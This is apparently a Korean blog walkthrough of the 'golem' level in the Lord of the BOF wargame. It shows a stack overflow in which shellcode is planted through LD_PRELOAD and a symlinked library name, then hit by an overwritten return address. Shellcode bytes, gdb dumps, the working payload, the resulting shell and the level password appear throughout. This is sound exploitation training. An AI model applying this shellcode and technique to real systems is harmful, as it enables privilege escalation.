Wargame/Hackerchool

[lob] skeleton -> golem

wyv3rn 2022. 9. 14. 15:25
728x90
반응형

1. intro

 

2. code 및 분석

2.1  C code

/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

 

2.3. 분석

2.3.1. assembler code (중요 부분)

아래가 추가되었으며, stack의 가장 마지막까지 초기화해버린다.

a0x80484f6 <main+134>:   lea    0xffffffd8(%ebp),%eax
---Type <return> to continue, or q <return> to quit---
0x80484f9 <main+137>:   mov    $0xbfffffcf,%edx
0x80484fe <main+142>:   mov    %edx,%ecx
0x8048500 <main+144>:   sub    %eax,%ecx
0x8048502 <main+146>:   mov    %ecx,%eax
0x8048504 <main+148>:   push   %eax
0x8048505 <main+149>:   push   $0x0
0x8048507 <main+151>:   lea    0xffffffd8(%ebp),%eax
0x804850a <main+154>:   lea    0x30(%eax),%edx
0x804850d <main+157>:   push   %edx
0x804850e <main+158>:   call   0x8048398 <memset>

 

3. 취약점 확인 및 공격 준비

3.1 취약점

마찬가지이다.

 

3.2 공격 준비

개인적으로 가장 싫었던 문제.

대부분의 영역을 초기화해버리는데 여전히 return address의 시작 지점은 0xbf 여야 한다.

어디에 어떤 값이 들어가있기에 이렇게 집착할까.

정답은 환경변수이며, 그 중에서도 LD_PRELOAD이다.

이 환경 변수에 값이 삽입되면 환경변수를 초기화 하더라도 stack에 값이 남는다.

 

다만, LD_PRELOAD에 직접적으로 shellcode를 삽입하면 파일 실행 시 이를 참조하려 하기에 불가하며,

[skeleton@localhost skeleton]$ `python -c 'print "export LD_PRELOAD=" + "\x90"*0x100 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
[skeleton@localhost skeleton]$ gdb golea
gdb: error in loading shared libraries: ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒�▒Phpassh/my-h/bin▒▒
          ̀: cannot open shared object file: Error 36

기존의 ld file을 symbolic link하며 파일 명을 shellcode로 사용해보자.

[skeleton@localhost skeleton]$ ln -s /lib/libc.so.6 `python -c 'print "A"*0x30 + "\x31\xc0\x50\xb8\x2e\x2e\x73\x68\x66\x05\x01\x01\x50\xb8\x2e\x62\x69\x6e\x04\x01\x50\x89\xe3\x31\xc0\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`
[skeleton@localhost skeleton]$ ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1▒P▒..shf???P▒.bin??P?▒1▒P?▒S?▒?▒?
golea
golem
golem.c

이후 gdb로 해당 문자열이 삽입되어있는지 확인해보자.

(gdb) r `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'`
Starting program: /home/skeleton/golea `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒

Breakpoint 1, 0x8048516 in main ()

 

차근차근 높은 주소부터 낮은 주소로 이동하며 찾아보다가 아래와 같이 발견하였다.

(gdb) x/40x $esp-1100
0xbffff600:     0x00000001      0x40000824      0xbffff614      0xbffff7b4
0xbffff610:     0x4000377b      0x40007599      0x40013868      0xbffff7b4
0xbffff620:     0x4000380e      0x40014438      0x6d6f682f      0x6b732f65
0xbffff630:     0x74656c65      0x412f6e6f      0x41414141      0x41414141
0xbffff640:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff650:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff660:     0x41414141      0x31414141      0x2eb850c0      0x6668732e
0xbffff670:     0x50010105      0x69622eb8      0x5001046e      0xc031e389
0xbffff680:     0x53e28950      0x0bb0e189      0x400080cd      0x40013868
0xbffff690:     0x4000220c      0xbffffbb5      0x00000000      0x00000000

 

4. exploit

위를 토대로 아래와 같이 페이로드를 작성하였다.

[skeleton@localhost skeleton]$ ./golem `python -c 'print "A"*44 + "\x40\xf6\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@▒▒▒
Segmentation fault
[skeleton@localhost skeleton]$ ./golem `python -c 'print "A"*44 + "\x50\xf6\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒
bash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$ my-pass
euid = 511
cup of coffee

 

 

 

728x90
반응형